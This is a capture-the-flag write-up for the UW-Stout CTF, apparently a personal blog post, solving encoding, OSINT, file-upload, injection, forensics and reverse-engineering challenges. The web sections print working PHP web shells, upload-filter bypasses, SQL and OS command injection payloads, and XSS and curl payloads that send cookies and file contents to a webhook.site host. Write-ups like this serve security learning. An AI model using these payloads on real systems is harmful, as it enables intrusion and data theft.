楈繳荁蝏杖癣怯蔲詺硳蝕答歲鱡ꈰ鱃蘰筥轵豊譺靑蹱ꍘ穒脶陱荒魅睓𒁖鱵鵑穪ꕎ鱙硂頱硨𒁕桳轆虉稰魙𒅒敭ꉧ艃筋𔕵祪癪ꉱ蝨𠁒搵蕬罴汩葵浥桷摫𓈳轵稴𒅣汕罳硁葪赺癯蕄𒀳𔕙𓉙鴷譒瘷虄桲𓅈笰鱑衕蹮𓉸罨祣怵衴湓衦𓁶𒁭𔕚𓉪ꈶ𖥓此𓅚衡詘𔑺ꌳ豧𓁚靐陴浢紹ꍘ摰𖡔湊荺蝮騵荌𒅶桬ꕑ𓁮聹𓌷𓍤栳蝗魖轆𓁍恤𠁖顣晁杵𔑳腓鬰蝮腏浡鹦襙ꕙ鹰評𓅭眯驌汱笴聂𓀰𓅖贴繪𐘱詷蝅襉眴楈𠁢赥鱬𓅊橚歮𐙧ꍮ饣谰𔑩豮𒁨歺鵅𔑊鱖荊ꍲ怴荶𓁢𖤯𔕏桂穘𒁗睃鵗𔑉蜴𒈴絬ꅳ污𒅉眳𓍎繘魪𓅄鬸浂癗蹙马蜯癱癕癁爽 |
I Googled to find out what kind of encoding uses Chinese characters and discovered it was Base 65536. I found a cool website to decode it and proceeded with the process: https://www.better-converter.com/Encoders-Decoders/Base65536-Decode
After pasting the encoded text, I noticed more encoded characters with a pattern similar to Base64. I immediately decoded it using CyberChef, where the magic features suggested a file type detection. It turned out to be an image, indicating that the additional encoded text was actually within the image.
Given my experience with pixel-based encoding from multiple CTFs, I decided to try my first method to extract the color codes. I wrote a script to automate the process, allowing me to decode the information efficiently.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
color_codes = [
"#53544F", "#555443", "#54467B", "#327147", "#6E4A50",
"#61336F", "#6A4966", "#4C5275", "#776D75", "#6E6967",
"#52686F", "#313976", "#336A63", "#61397D"
]
def hex_to_chars(hex_code):
hex_code = hex_code.lstrip('#')
chars = []
for i in range(0, len(hex_code), 2):
hex_pair = hex_code[i:i+2]
chars.append(chr(int(hex_pair, 16)))
return ''.join(chars)
decoded_values = [hex_to_chars(code) for code in color_codes]
print(decoded_values)
1
2
3
$ python solver.py
['STO', 'UTC', 'TF{', '2qG', 'nJP', 'a3o', 'jIf', 'LRu', 'wmu', 'nig', 'Rho', '19v', '3jc', 'a9}']
STOUTCTF{2qGnJPa3ojIfLRuwmunigRho19v3jca9}
Polar Bear
Description 1319448579496083489
I’ve been learning a lot about Node.js. I love Node.js! There are so many different projects that can be made with it. Check out the project I made!
Decoding the snowflake of the UW-Stout CTF’s Discord. It is also in Snowflake format. Using the cool tools to see the api of discord with discordlookup: . We can see the UW-Stout CTF was present on the discord lookup.
Proceed to check the application of the given snowflakes: https://github.com/mesalytic/discord-lookup-api
The flag presence was in the description section.
1
2
3
4
5
6
$ curl https://discordlookup.mesalytic.moe/v1/application/1319448579496083489 | jq | head -n 5
{
"id": "1319448579496083489",
"name": "Polar Bear",
"icon": "https://cdn.discordapp.com/avatars/1319448579496083489/e248b2ad07a44051ee4a3704b783f4e0",
"description": "STOUTCTF{lUP8cYQtG1I2oswnGsaUMgIE3UhEQESh}",
OSINT
Abandoned Airwaves
Description Can you find when sunset will be at the location on the date of December 16th 2024?
Flag format: hour:minute in 24 hour time
abandoned_airwaves.png
Performing a reverse image search on Google, I discovered that the image was associated with a stock photo or had been posted by someone else. This led me to identify the location as the Duga-1 Station.
Duga-1 Station
Abandoned Airwaves pt.2
Check through this site: https://www.timeanddate.com/sun/ukraine/chernobyl
The sunset time was between 51-54 hence the answer was actually 15:52
15:52
Last Known Location
Did the Reverse image search. After seeing similar image on the google map I just copy the lat and long on the URL.
25.1098267,121.8454443
PHP File Upload
File Upload Level 1
This line moves the uploaded file to a user-specific directory. Since the code doesn’t check the file type or content, an attacker can upload a PHP script (e.g., shell.php). Once uploaded, we can access and execute the file, resulting in RCE.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Content-Disposition: form-data; name="file"; filename="s.php"
Content-Type: application/octet-stream
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
URL: |
---|
/upload/1db3f1ef4316fe0f2227c63aaeb6ea1a/s.php?cmd=cat+%2Fflag.txt |
1
STOUTCTF{rxM14VXNjhH0L6KM9VHMzpIVAKzzxHOq}
File Upload Level 2
There’s a check that prevents uploading files with a .php
extension (if ($extension === "php"))
, this doesn’t fully protect against other attack vectors like uploading files with double extensions (e.g., malicious.php.jpg) or files that contain PHP code. In this example I’ll use .phar
as extension
Getting into the File that uploaded:
1
2
3
4
Content-Disposition: form-data; name="file"; filename="a.phar"
Content-Type: application/octet-stream
<?=`$_GET[0]`?>
URL: |
---|
/upload/badef61be6423b1f2f550038d89c96eb/s6.phar?0=cat%20/flag.txt |
1
STOUTCTF{aXVwCHhPilsCGBZmtbrcYsilsq1fWbnD}
File Upload Level 3
Similar approach from the PHP2
1
2
3
4
Content-Disposition: form-data; name="file"; filename="s6.phar"
Content-Type: application/octet-stream
<?=`$_GET[0]`?>
URL: |
---|
/upload/27d04fd09ea24a9502fbfcccae491cf6/s6.phar?0=cat%20/flag.txt |
1
STOUTCTF{HUgYrh4ZK7a1Ztk8PQRsE843mPv1GxPn}
File Upload Level 4
The code now checks that the file extension is not php, phtml, or phar: In this challenge, PHP extensions are filtered, but .htaccess
files are not. By uploading a .htaccess file
, we can configure the server to execute files with custom extensions as PHP. Create an .htaccess file with the following content to map a custom file extension to PHP:
AddType application/x-httpd-php .lol
This configuration tells the server to treat files with the .lol extension as PHP scripts.
1
2
3
4
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: application/octet-stream
AddType application/x-httpd-php .lol
After uploaded, apply another upload
for your reverse shell.
1
2
3
4
Content-Disposition: form-data; name="file"; filename="rce.lol"
Content-Type: application/octet-stream
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
Once the .htaccess and rce.lol files are uploaded, you can execute commands on the server using the rce.lol script by passing the desired command as a query parameter. This method allows you to interact with the server.
URL: |
---|
/upload/4f6b5be1f06415ae5879e9e473e539b0/rce.lol?cmd=cat%20/flag.txt |
1
STOUTCTF{ElEq5VtDJ4ANFkrUqkaUBQveLHai0ju0}
File Upload Level 5
While this restricts file uploads to certain image types, this check can be bypassed. MIME type validation can be spoofed
because the MIME type is sent by the client (the browser), and an attacker could modify it to upload a non-image file, like a PHP script. We can craft a file that looks like an image (e.g., image.php) but contains executable PHP code inside. By sending image/png
to Content-Type
while keeping the filename type as .php
we still can execute it just fine
1
2
3
4
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: image/png
<?=`$_GET[0]`?>
URL: |
---|
/upload/94f604168ed1bbfd7afac8cef30e7a68/a.php?0=cat+/secret.txt |
1
STOUTCTF{W2v1JvVzCBecumPT1LJEn15xvPIN1Hi}
File Upload Level 6
The code uses finfo_file()
to check the MIME type of the file, which relies on reading the file’s magic bytes
to identify the file’s content type:
The MIME types are then validated against a whitelist of acceptable image types image/jpeg, image/png, image/gif
We can craft a malicious file that looks like an image based on its magic bytes but is actually a PHP file.
1
2
3
4
5
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: application/octet-stream
//MAGIC BYTES OF IMAGE//
<?=`$_GET[0]`?>
This could upload a file that starts with valid image magic bytes (e.g., JPEG magic bytes 0xFF 0xD8), but contains PHP code afterwards. This would pass the MIME type check because it starts with valid image magic bytes, yet still contains PHP code that could be executed if the file is accessed.
URL: |
---|
/upload/3214a2de76e797138193b18b365cb558/file.php?0=cat%20/flag.txt |
1
STOUTCTF {wqVbael0XOLFkQT2lgLHAkPrnUFxtw1p}
Scripting
This Blows
Description Looks like my code has some bugs. I was able to get it encoded but now I can’t get back to the flag.
Encoded.txt |
---|
NDMxODcyZWNkYjQzNDM2YWVhNzNmNTgzZGE4NWExNTk4ZTJjYWQ5ZDk1NDUwOWQ3M2RlNjE4ZWM2ZjNlYjlmNjUxNjgyZWFlYjc4N2UyODhkMjE4ZGI4NTlhNGFkYWE1 |
i.txt |
---|
MzBCQzRGQUE2OUNGRjEw |
k.txt: |
---|
QTBGRkRFMTI= |
Reading through this line on the given Decode.py
see the encoded uses Blowfish hence we can decode it by scripting or directly use cyberchef for convenience. The i.txt and k.txt must be convert from base64 first the put the Hex value on the details. c = Blowfish.new(k, Blowfish.MODE_CBC, i)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Cipher import Blowfish
from Crypto.Util.Padding import unpad
import binascii
key = b'\xA0\xFF\xDE\x12' #FROM BASE64 TO HEX TO BYTES
iv = b'\x30\xBC\x4F\xAA\x69\xCF\xF1\x00' #FROM BASE64 TO HEX TO BYTES
encoded_hex = "431872ecdb43436aea73f583da85a1598e2cad9d954509d73de618ec6f3eb9f651682eaeb787e288d218db859a4adaa5" #FROM BASE64
encoded = binascii.unhexlify(encoded_hex)
cipher = Blowfish.new(key, Blowfish.MODE_CBC, iv)
cdec = cipher.decrypt(encoded)
try:
flag = unpad(cdec, Blowfish.block_size).decode('utf-8')
except ValueError:
flag = cdec
print(flag)
Alternative using cyberchef
:
1
2
$ python decode.py
STOUTCTF{afamzcEX6vbHeQNPLYWSKFUBCQzr5B6f}
Who Said 30 Times?
Description What strange encoding. Can you decipher it to get the flag?
1
2
3
4
5
6
$ cat Who_Said_30.dat
00000000 56 6d 30 77 64 32 51 79 55 58 6c 56 57 47 78 57 |Vm0wd2QyUXlVWGxW|
00000010 56 30 64 34 56 31 59 77 5a 44 52 57 4d 56 6c 33 |V0d4V1YwZDRWMVl3|
00000020 57 6b 52 53 56 30 31 57 62 44 4e 58 61 31 4a 54 |WkRSV01WbDNXa1JT|
00000030 56 6a 41 78 56 32 4a 45 54 6c 68 68 4d 55 70 55 |VjAxV2JETlhhMUpU|
--SNIP--
We want to text only the base64 encoded. can use this command:
1
$ strings Who_Said_30.dat | grep -oP ‘(?<=\|)[^|]+(?=\|)’ | base64 -d > text.txt
Then decode base64 many times until get the flag using base64 -d
.
1
2
$ cat text.txt | base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d
STOUTCTF{djfRQP4yBWjbcnEEixBHvUvta8iZd5Fm}
Cost of Gas
Description The cost of gas is insane! Can you believe node traversal is so expensive? I wish I had some sort of map or matrix describing the cheapest cost to any node from any node… NodeA -> NodeC 32324 NodeB -> NodeA 26786 NodeC -> NodeB 77458 NodeC -> NodeD 19905 NodeC -> NodeG 19455 NodeD -> NodeA 64678 NodeD -> NodeE 57878 NodeE -> NodeF 29999 NodeE -> NodeA 82356 NodeF -> NodeC 77777 NodeF -> NodeA 33333 NodeF -> NodeD 88888 NodeF -> NodeG 88888 NodeG -> NodeA 1 Example submission: A -> B 1 B -> A 1 Resulting matrix: A B A 0 1 B 1 0 THIS IS WHAT YOUR FLAG SHOULD LOOK LIKE: STOUTCTF{0110} • No spaces • One line • No letters
Given a list of node-to-node travel costs and asked to create a matrix that shows the cheapest cost between each pair of nodes. The goal is to process the provided distances and find the minimum cost for each pair. For example, if traveling from NodeA to NodeB costs 1 and from NodeB to NodeA costs 1, the matrix will show these values. Creating a script must be done to calculates the shortest travel costs between nodes using the Floyd-Warshall algorithm. First, it initializes a distance matrix with “infinity” to represent unconnected paths, then sets the diagonal to 0, as the cost to travel from a node to itself is zero. Then populates the matrix with the provided edge costs between nodes. After that, the algorithm iterates through each pair of nodes, updating the distance matrix to reflect the shortest paths by considering each intermediate node. Finally, converts the matrix into a continuous string of integers representing the minimum costs between all nodes and prints the result.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import numpy as np
edges = {
'A': {'C': 32324},
'B': {'A': 26786},
'C': {'B': 77458, 'D': 19905, 'G': 19455},
'D': {'A': 64678, 'E': 57878},
'E': {'A': 82356, 'F': 29999},
'F': {'C': 77777, 'A': 33333, 'D': 88888, 'G': 88888},
'G': {'A': 1}
}
nodes = list(edges.keys())
n = len(nodes)
distance_matrix = np.full((n, n), float('inf')) # Start with "infinity"
for i in range(n):
distance_matrix[i][i] = 0
for src in edges:
for dest in edges[src]:
distance_matrix[nodes.index(src)][nodes.index(dest)] = edges[src][dest]
for k in range(n):
for i in range(n):
for j in range(n):
if distance_matrix[i][j] > distance_matrix[i][k] + distance_matrix[k][j]:
distance_matrix[i][j] = distance_matrix[i][k] + distance_matrix[k][j]
output = ""
for i in range(n):
for j in range(n):
output += str(int(distance_matrix[i][j]))
result = f"STOUTCTF}"
print(result)
1
STOUTCTF{0109782323245222911010714010651779267860591107901513689316689278565194567745801990577783107782194556467817446097002057878878771164576333217311495656115561029999115111333331431156565785562143440085112110978332325522301101081401070}
Strawberry Perl Forever
Description “When I’m in Windows, I use strawberry Perl” – Larry Wall
Hash.txt |
---|
Generated at 21:55-22:00 CST on 12/17/24 |
SHA2 - 256 64 rounds |
00ac7414402727fdf04c16b5dd7eb54533f459ff1943905e3e3143388e9460da |
Given the original perl code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/perl
use strict;
use warnings;
# Welcome message
print "Generating a super random CTF flag";
# Get the current time as a seed
my $seed = time;
# Seed the random number generator
srand($seed);
# Define a function to generate a super dupper advanced and secure random string
sub random_string {
my ($length) = @_;
my @chars = ('a'..'z', 'A'..'Z', '0'..'9');
my $random_string = '';
for (1..$length) {
$random_string .= $chars[int(rand(@chars))];
}
return $random_string;
}
# Generate the flag
my $flag = "STOUTCTF{" . random_string(16) . "}";
# Print the generated flag
print "Generated Flag: $flag\n";
we can see the hash.txt
said Generated at 21:55-22:00 CST on 12/17/24
. we can use the time to generate the seed with that time
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/perl
use strict;
use warnings;
use Digest::SHA qw(sha256_hex);
my $target_hash = "00ac7414402727fdf04c16b5dd7eb54533f459ff1943905e3e3143388e9460da";
my $start_time = 1734515700; # 21:55 CST
my $end_time = 1734516000; # 22:00 CST
sub random_string {
my ($seed, $length) = @_;
srand($seed);
my @chars = ('a'..'z', 'A'..'Z', '0'..'9');
my $random_string = '';
for (1..$length) {
$random_string .= $chars[int(rand(@chars))];
}
return $random_string;
}
for my $seed ($start_time..$end_time) {
my $random_str = random_string($seed, 16);
my $flag = "STOUTCTF{" . $random_str . "}";
my $hash = $flag;
for (0..65) {
$hash = sha256_hex($hash);
if ($hash eq $target_hash) {
print "$flag\n";
last;
}
}
}
1
STOUTCTF{aRWkZtmhfuFE0JlB}
Keyboard hackers
Description My hacker friend gave me this file saying that he hacked my keyboard. I have no idea what he means. Can you make sense of this file?
This packet capture (PCAP) shows the communication between a USB Human Interface Device (HID)
and the host system. The captured data includes the exchange of HID reports, which are the primary method for transmitting input data such as keystrokes or mouse movements between the device and the computer. Example the image shown below.
Filter: usb.src==”1.1.1”
HID devices communicate by sending packets that contain data in specific report formats. These packets are transmitted using periodic transfer types and are typically acknowledged by the host system. Hence we can put it in column to see the HID Data. Right Click on HID Data > Apply as Column
Now we can see the HID Data on the column. Save as CSV
.Name to anything you like example ‘key’
Copy the HID Data only
and save it in .txt
For the script. I’m using the script getting from this: https://blog.stayontarget.org/2019/03/decoding-mixed-case-usb-keystrokes-from.html
1
2
$ python solver.py hidcap.txt
hello hope you can get this flag:) stoutctf{by3yfbitp3vs1ecx6ery}good luck
Web
Nuclear Codes
Checking the request using burp suite
and checking the direction of the web we can see codec.php
was being loaded without we see anything. On the Response of the codec.php in the section of launch-code
. There’s flag. or we can use Curl to obtain it. or alternative way was fuzzing.
1
2
$ curl https://ctf.oplabs.us/web/NuclearCodes/codes.php | grep "STOUT"
<p class="launch-code">Launch Code: <span>STOUTCTF{vkU8yXCSxZtY9YrhMzyaUSoWVHapVF84}</span></p>
PharmaNet
This time it’s a common SQL injection. Starting with a basic payload of sql injection. (Can refer my favorite cheat sheet: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL Injection/README.md
)
SQL injection happens because of improper handling of user inputs within SQL queries. It occurs when user-supplied data is directly inserted into SQL statements without proper validation or sanitization, allowing attackers to manipulate the query structure.
Example Before:
1
SELECT * FROM users WHERE username = 'admin' AND password = 'password';
Example After:
1
SELECT * FROM users WHERE username = 'admin' or '1'='1' AND password = 'password';
Payload: admin’ or ‘1’=’1
Upon succeded, the flag will be pop.
1
STOUTCTF{znjxwDeeXo1jNIz6JLyK77qOTyD2OVOh}
Mr Bean’s Little Beans
Fuzzing all the site using dirb or gobuster depends on the convenience. In this example im using dirb and found the admin directory that wasn’t shown on the hosted site.
URL: |
---|
web/MrBean/admin |
1
2
$ curl https://ctf.oplabs.us/web/MrBean/admin/ | grep "STOUT"
<p>STOUTCTF{W9du9uMYcyjoNQKeJpKr6c6m1BXAxbXC}</p>
Crossing Seven Sea
Blind XSS try out one by one payload using this references: https://github.com/lauritzh/blind-xss-payloads
and found one payload that works. which is:
1
<input onfocus='fetch("https://example.burpcollaborator.net/imput-post",{method:"POST",body:btoa(document.body.innerHTML),mode:"no-cors"})' autofocus>
Now we can use it in the messages section and obtain the cookie with the payload:
1
<input onfocus='fetch("https://webhook.site/107d6ce8-fc36-4c6e-bf5b-585461b6f297?c="+btoa(document.cookie),{method:"POST",mode:"no-cors"})' autofocus>
(can use webhook.site to obtain the hook or ngrok depends whatever you like)
Decode from base64
:
1
STOUTCTF{aCnxNhCcP5P7sXPjEIfxFgnrHnn4V57t}
Whois lvl1
Theres so multiple injection can be used example |
. Here other example list what can be used:
Form-select | Payload |
---|---|
nslookup | ; cat flag.txt |
nslookup | & cat flag.txt |
nslookup | && cat flag.txt |
nslookup | | cat flag.txt |
nslookup | cat flag.txt |
ping | 0.0.0.0 && cat flag.txt |
ping | 0.0.0.0; cat flag.txt |
ping | 0.0.0.0 & cat flag.txt |
ping | 0.0.0.0 | cat flag.txt |
dig | ; cat flag.txt |
dig | & cat flag.txt |
dig | && cat flag.txt |
dig | | cat flag.txt |
dig | cat flag.txt |
Why did it happen? The failure to validate inputs before using them in functions that invoke OS-level commands, such as exec()
, system()
, or shell scripting constructs
. As a result, we can exploit the application by appending the os command.
Example 1:
Example 2:
Example 3:
In this example i will use:
1
0.0.0.0; cat flag.txt
1
STOUTCTF{6GmWewZFLZqlsEmSxeHehXCMajEEI9IX}
Whois lvl2
This time im using |
to get the flag.
1
0.0.0.0 | cat flag.txt
1
STOUTCTF{tCoW5voLpV44AsdzOigETrE3IZMHVBV6}
Whois lvl3
Using ‘`’ and the command on the dig section.
Payload:
1
`cat flag.txt`
1
STOUTCTF{18kUctpnd5aze563mm2uMBbWL7CT1A2e}
Whois lvl4
Since other functions like ping, dnslookup, and dig couldn’t be used, I decided to attempt a blind OS injection
on the backup section using the curl function. By doing this, I was able to observe the response on the webhook site
. This confirmed that the |
(pipe) operator was functional. I then proceeded to send a POST
request to read everything inside the current directory.
On Backup
Payload:
1
| cat * | curl -X POST -d @- https://webhook.site/107d6ce8-fc36-4c6e-bf5b-585461b6f297
Check the webhook site, we get to see the flag has been bounce back to us
Close up look:
1
STOUTCTF{aivDe09dO5vVX40AHSKaKi7kXC5YfXoT}
Rev
Bossman
While trying to analyze the program in DNSpy, I couldn’t find anything useful. I then booted up Cutter
and encountered some Base64
encoded data. Since I couldn’t see the program properly in either DNSpy
or ILSpy
, I decided to explore alternative tools.
After trying dotPeek
, a tool designed for .NET Framework
programs, I was able to view the source code clearly. This allowed me to decode the data and eventually obtain the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import base64
def get_time():
ch_array1 = ['U', '1', 'R', 'P']
ch_array2 = ['V', 'V', 'R', 'D']
ch_array3 = ['V', 'E', 'Z', '7']
char_array1 = "VGZSVDBsWW9nUjRWa3ZDaEdab2tS"
char_array2 = "MkFmR2ZUQ0p2SEh9"
string_builder = []
string_builder.extend(ch_array1)
string_builder.extend(ch_array2)
string_builder.extend(ch_array3)
base64_encoded_char_array1 = base64.b64encode(char_array1.encode('utf-8')).decode('utf-8')
string_builder.append(base64_encoded_char_array1[:len(char_array1)])
string_builder.append(char_array2)
return ''.join(string_builder)
result = get_time()
print(result)
1
2
3
4
5
$ python solver.py
U1RPVVRDVEZ7VkdaU1ZEQnNXVzluVWpSV2EzWkRhMkFmR2ZUQ0p2SEh9
$ python solver.py | base64 -d
STOUTCTF{VGZSVDBsWW9nUjRWa3ZDa2AfGfTCJvHH}